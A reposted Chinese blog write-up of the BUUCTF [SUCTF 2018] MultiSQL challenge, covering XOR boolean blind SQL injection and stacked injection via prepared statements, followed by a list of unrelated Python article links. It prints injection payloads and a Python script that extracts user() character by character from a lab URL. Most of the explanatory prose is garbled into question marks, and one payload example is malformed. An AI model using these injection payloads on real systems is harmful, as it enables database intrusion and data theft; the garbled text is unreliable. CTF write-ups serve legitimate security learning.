博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 1744 字,大约阅读时间需要 5 分钟。

SQL???Web????

????????????????SQL???????????????????????????????????????????????????????????????????????????????????

?????

???????????SQL?????????????????????????????????????????????????????????????????@???union?select????????????

??????????????SQL???

2^(if(ascii(mid(user(),1,1))>0,0,1))

??????????????????????????0??????????????????????0?????0????????1???????????????????????

?????????????????????????????????????????????WordPress?WP????????

???????

?????????????????????????SQL??????????500????????????????????????????????????cookie?????????

??????????????????????????????

? id=2; set @sql = char(12, 324, 23, 23, ); prepare query from @sql; execute query;

?????????????????????SQL???

??????????????????????????????mid???????ascii?????????????????????

????WordPress

???????????WordPress???????????????????????????????????????????

???user.php????????????????id????????????????????

if (ascii(mid(user(),1,1)) > 0, 0, 1)

???????????????????????

?????????????????

1^

??????????????????????????????

??????????????????????????

  • ??id???????????
  • ??if??????????
  • ??1^???????????
  • ?????????????Python??????????????????????

    for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url, cookies=cookie)        content = re.findall('

    .*

    ', res.text, re.M|re.I) if ("admin" not in content[0]): database += chr(j) break

    ??????????????????id?username???????????????????

    ?????????????????????????????????????????????????flag???????????????

    ?????SQL????????????????????????????????????????????????????????????????

    转载地址:http://ykgg.baihongyu.com/

    你可能感兴趣的文章
    Python 基础语法:基本数据类型(集合)
    查看>>
    python 堆排序
    查看>>
    python 复习计划
    查看>>
    Python 多处理 apply_async 永远不会在 Windows 7 上返回结果
    查看>>
    Python 多处理 Numpy 随机
    查看>>
    Python 多处理 >= 125 列表永远不会完成
    查看>>
    Python 多处理:在第一个子错误时中止映射
    查看>>
    Python 多处理不断产生 pythonw.exe 进程而不做任何实际工作
    查看>>
    Python 多处理从不加入
    查看>>
    Python 多处理如何优雅地退出?
    查看>>
    Python 多处理将子进程的标准输出重定向到 Tkinter 文本
    查看>>
    Python 多处理库错误(AttributeError:__exit__)
    查看>>
    Python 多处理模块的 .join() 方法到底在做什么?
    查看>>
    python 多线程与GIL
    查看>>
    Python 字符串总结
    查看>>
    python 字符串显示中文_Python字符串开头的b"、u"、r"与中文乱码
    查看>>
    Python 字符串的几种拼装方式
    查看>>
    python 存入数据库bigint_python基础_MySQL的bigint类型
    查看>>
    python 学习 面向对象编程
    查看>>
    Python 安装程序:“写入文件 C:\Python27\pythonw.exe 时出错“
    查看>>